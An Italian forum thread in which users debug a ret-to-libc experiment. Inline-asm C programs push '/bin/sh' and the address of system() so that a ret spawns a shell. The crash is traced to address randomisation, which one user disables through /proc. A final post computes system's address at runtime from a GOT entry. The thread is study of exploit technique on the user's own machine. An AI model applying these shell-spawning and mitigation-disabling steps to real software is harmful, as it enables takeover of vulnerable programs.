[C/asm] SIGSEGV solo senza gdb

imported_BlackOrWhite · 12 Luglio 2010

Non capisco perchÃ¨ il codice seguente funziona solo sotto gdb.... mi sta sfuggendo qualcosa....
sono su un kernel 2.6.32,

il codice:

Codice:

#include <stdio.h>
#include <stdlib.h>

char string[]="/bin/sh;";

void main(void)
{
	asm(
			"push %0;"		 // string address
			"push $0x41414141;"	 // dummy
			"push $0x00167100;"	 // system address in libc
			"ret;"			 // call system()
			:
			:"r"(string)
	);
	exit(0);
}

quindi con gdb ho SIGSEGV dopo essere uscito dalla shell, che Ã¨ quello che mi aspetto:

Codice:

matteo@Unix:~/Documenti/RetOriented-Exploit$ gdb a.out -q
Reading symbols from /home/matteo/Documenti/RetOriented-Exploit/a.out...done.
(gdb) run
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out 
$ exit

Program received signal SIGSEGV, Segmentation fault.
0x00166eb6 in ?? () from /lib/tls/i686/cmov/libc.so.6

mentre se lo eseguo senza gdb... mi da subito SIGSEGV.... ma non dovrebe comunque eseguire system("/bin/sh") prima???

Codice:

matteo@Unix:~/Documenti/RetOriented-Exploit$ ./a.out
Segmentation fault

mi sono un attimo perso.... mi date una mano?

EDIT:
stesso problema anche con qualsiasi altra funzione della libc.... ad esempio ho provato con puts....
per ricavare l'indirizzo ho usato "print system" durante il debugging.

Forse succede perchÃ¨ ho scritto tutto all'interno di una inline?? ma non credo.....

Whivel · 12 Luglio 2010

io non riesco a capire quel ret....

imported_BlackOrWhite · 12 Luglio 2010

l'istruzione ret posta li, carica nel registro EIP ciÃ² che Ã¨ puntato da ESP al momento della sua esecuzione.
Quindi dato che ho "pushato" nello stack in quel dato ordine quelle WORD, esegue system().
(Tale indirizzo cambia a seconda della versione di libc e distribuzione che usi, se vuoi provare devi ricalcolarlo con gdb)

CiÃ² che non capisco Ã¨ perchÃ¨ senza gdb mi da picche. invece prima di andare in crash dovrebbe aprirmi la shell......

doveva essere un semplice test e ci ho perso giÃ un giorno...... forse non Ã¨ giornata..... :huh:

Whivel · 12 Luglio 2010

(quello lo avevo capito)non riesco a capire perchÃ¨ hai fatto cosÃ¬.... quando la funzione di sistema eseguirÃ la ret andrÃ in segmentation fault (che perÃ² Ã¨ quello che vuoi)...

vabbÃ¨ comunque sei sicuro che la libreria sia statica e non dinamica, o meglio sei sicuro che non ci sia rilocazioni degli indirizzi delle funzioni? puÃ² darsi che senza gdb gli indirizzi siano diversi

imported_BlackOrWhite · 12 Luglio 2010

Whivel ha detto:
(quello lo avevo capito)non riesco a capire perchÃ¨ hai fatto cosÃ¬.... quando la funzione di sistema eseguirÃ la ret andrÃ in segmentation fault (che perÃ² Ã¨ quello che vuoi)...

ok andrÃ in crash ma prima mi deve aprire la shell...

vabbÃ¨ comunque sei sicuro che la libreria sia statica e non dinamica, o meglio sei sicuro che non ci sia rilocazioni degli indirizzi delle funzioni? puÃ² darsi che senza gdb gli indirizzi siano diversi

perchÃ¨ con gdb dovrebbero cambiare le cose? Che io sappia dovrebbe essere uguale.
Nel senso, se io metto sotto debug un processo... quindi lo posso fare con ptrace() ad esempio... questa non credo andrÃ a cambiarmi strutture cosÃ¬ importanti.... sbaglio?

come vedi:

from /lib/tls/i686/cmov/libc.so.6

le librerie sono dinamiche, posso provare a rifare con le librerie statiche piÃ¹ tardi.

grazie per l'aiuto.

Whivel · 12 Luglio 2010

il fatto Ã¨ che forse, ma non sono sicuro, caricandolo con gdb (essendo un debugger a livello utente e non kernel), le librerie potrebbero essere caricate ad indirizzi diversi....

ripeto non sono sicuro

imported_BlackOrWhite · 12 Luglio 2010

ok, ci sono.
ritornando alla questione, linkando staticamente non risolvo nulla se non che system viene inclusa nell'eseguibile...

quello che io intendo fare Ã¨ riprodurre esattamente ciÃ² che avviene in un ret-to-libc... tra l'altro questo esempio Ã¨ molto semplice perchÃ¨ c'Ã¨ una sola chiamata.... ma non ho capito perchÃ¨ ho quell'errore....
ho ripreso in mano anche alcuni libri.. ma la procedura che seguo Ã¨ giusta dunque non sono ancora impazzito :matto:

Whivel · 12 Luglio 2010

(ret-to-libc, mi dovrÃ² informare prima o poi)
se non sbaglio lanciandolo da gdb il segmentation fault viene intercettato e mostrato a video e il processo non termina, mentre se lo esegui normalmente questo termina subito.

detto questo non potrebbe essere che in entrambi i casi il codice viene eseguito, ma fai in tempo a vederlo solo sotto gdb perchÃ¨ terminando il processo termina anche la shell?

imported_BlackOrWhite · 12 Luglio 2010

Whivel ha detto:
(ret-to-libc, mi dovrÃ² informare prima o poi)
se non sbaglio lanciandolo da gdb il segmentation fault viene intercettato e mostrato a video e il processo non termina, mentre se lo esegui normalmente questo termina subito.
detto questo non potrebbe essere che in entrambi i casi il codice viene eseguito, ma fai in tempo a vederlo solo sotto gdb perchÃ¨ terminando il processo termina anche la shell?

ma la shell che chiamo Ã¨ interattiva, il sistema si accorgerÃ di andare in SIGSEGV solo dopo aver eseguito la shell e avermela fatta usare.

cmq aspetta sono io che sono fuso ... dopo mangiato si ragiona meglio....

su un kernel precedente (2.6.30) questi indirizzi cambiano ad ogni esecuzione quindi non funzionerÃ mai.... infatti nemmeno con gdb funziona.
sul kernel 2.6.32 non ho capito perchÃ¨ questo non avviene, cmq anche qui sono random...
giÃ perchÃ¨ non ci ho pensato... :dodgy: ... bo....
resta un pÃ² un mistro il perchÃ¨ con gdb funziona.... ma ora lascio un attimo da parte questo problema....
funziona bene solo usando la entry di system nella sezione .plt,
ma perchÃ¨ questa sia presente la funzione system deve essere usata all'interno del mio programma, in modo che venga linkata. A questo punto Ã¨ molto facile perchÃ¨ ci pensa una tabella a fare tutto...

naturalmente perÃ² il programma cambia:

Codice:

#include <stdio.h>
#include <stdlib.h>

void func() {
system("/bin/sh");
}

char string[]="/bin/sh";

int main(int argc, char**argv) {

	if(argc > 2) func();

	asm(
		"push %0;"
		"push $0x41414141;"
		"push $0x804830c;"
		"ret"
		:
		:"r"(string));
}

nota che non viene chiamata func(), io non passerÃ² argomenti, Ã¨ solo per avere system() nella sezione .plt ($0x804830c Ã¨ la mia entry system@plt )
quindi:

Codice:

matteo@Moon:~/RETOR$ ./a.out
$ exit
Segmentation fault

perÃ² questo non Ã¨ quello che voglio...
Sulle nuove distribuzioni credo sia necessario ricavare l'indirizzo di system() a runtime. PerÃ² per questo ci devo pensare un attimino, non Ã¨ proprio semplice semplice...... :shocked:

a meno che qualcuno non abbia suggerimenti....un ret-to-libc non se po fa dal kernel 2.6.xx non ricordo esattamente..... infatti...
(http://www.phrack.org/issues.html?issue=59&id=9)

detto questo verifico la mia tesi,

Codice:

root@Moon:~/RETOR# echo 0 > /proc/sys/kernel/randomize_va_space

e infatti torna..... torniamo al mio programma:

Codice:

matteo@Moon:~/RETOR$ vim verfytest.c
#include <stdio.h>

char string[]="/bin/sh";

void main(void)
{
	asm(
		"push %0;"
		"push $0x41414141;"
		"push $0x00167100;"
                        "ret;"
		:
		:"r"(string)
	);
}
matteo@Moon:~/RETOR$ gcc verfytest.c -g
matteo@Moon:~/RETOR$ ./a.out
$ exit
Segmentation fault

scusa la perdita di tempo... certe volte il mio cervello mi fa gli scherzi...
detto questo c'Ã¨ comunque il modo di calcolarlo a runtime, occorre usare un'altra tecnica... che Ã¨ poi quella che stavo studiando... mizze se mi sono intortato.....

quello che ho notato Ã¨ dal kernel 2.6.32 la rilcazione delle libc in modo casuale non Ã¨ intuibile dalla analisi che si fa con gdb, infatti Ã¨ per questo che sono stato tratto in inganno e mi sono dimenticato della randomizzazione delle libc.... infatti l'indirizzo sembra sempre essere (sul mio sistema) 0x00167100, mentre non era cosÃ¬. Cosa che sul 2.6.30 era visibile.
Comunque l'importante Ã¨ che ci siamo arrivati, anche se lo sapevo giÃ :blush:..
quindi obiettivo: "calcolare &system a runtime".... eh eh eh ....

se non altro questa discussione puÃ² essere stata comunque interessante e utile per rendere pubblica la mia bravura a inoltrarmi in problemi che non esistono.....

Whivel · 13 Luglio 2010

tra l'altro Ã¨ una spiegazione simile a quella che avevo dato io al secondo post....

su windows esiste l'api GetProcAddress che si trova in kernel32.dll.
credo che su linux esista una cosa simile, ma se fosse randomizzata pure quello, allora sarebbe piÃ¹ complicato.

Di piÃ¹ non posso dire, perchÃ¨ non conosco il formato elf e quindi nemmeno come funziona la rilocazione del codice

imported_BlackOrWhite · 13 Luglio 2010

giÃ GetProcAddress() ritorna l'indirizzo della funzione, quindi riferisce al segmento .text della libreria o programma che sia.
Su Windows le cosa sono un pÃ² diverse, non conosco windows quanto linux ma sul primo quello che viene rilocato in posizioni random sono solo le DLL. Questo perÃ² ad ogni riavvio del sistema.

imported_BlackOrWhite · 17 Luglio 2010

avevo dimenticato il post....
tanto per completezza nel mio ambiente system calcolata a runtime:

Codice:

#include <stdio.h>

char string[]="/bin/sh";

void main(void)
{
        asm(
                "push %0;"
                "push $0x41414141;"
                "movl $0x8049ffc, %%edi;"
                "movl (%%edi), %%eax;"
                "subl $0x14b5c0, %%eax;"
                "push %%eax;"
                "ret;"
                :
                :"r"(string)
        );
}